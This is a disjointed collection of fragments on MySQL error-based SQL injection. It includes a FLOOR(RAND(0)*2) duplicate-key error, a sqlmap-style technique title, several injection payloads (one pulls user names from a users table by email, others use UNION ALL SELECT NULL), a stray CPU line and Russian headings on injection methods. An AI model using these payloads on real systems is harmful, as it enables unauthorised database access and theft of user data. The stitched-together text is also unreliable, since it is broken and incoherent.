> SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x; ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'. This error doesn't occur in the PostgreSQL-equivalent query
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# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR).
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kernel requires an x86-64 CPU but on...
...AND (SELECT 2284 FROM(SELECT COUNT(*),CONCAT(0x7170767871,(SELECT (ELT(2284=2284,1))),0x716a716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('tPLw'='tPLw.
channels/category/7' UNION ALL SELECT NULL,NULL,CONCAT(0x7170626b71
...8161 FROM(SELECT COUNT(*),CONCAT(0x7171786a71,(SELECT MID((IFNULL(CAST(name AS CHAR),0x20)),1,54) FROM task1.users WHERE email
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a).
FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'jjhL'='jjhL&Submit=Submit.
1.3 Использование UNION + group_concat(). 1.4 Экранирование хвоста запроса. 1.5 Расщепление SQL-запроса.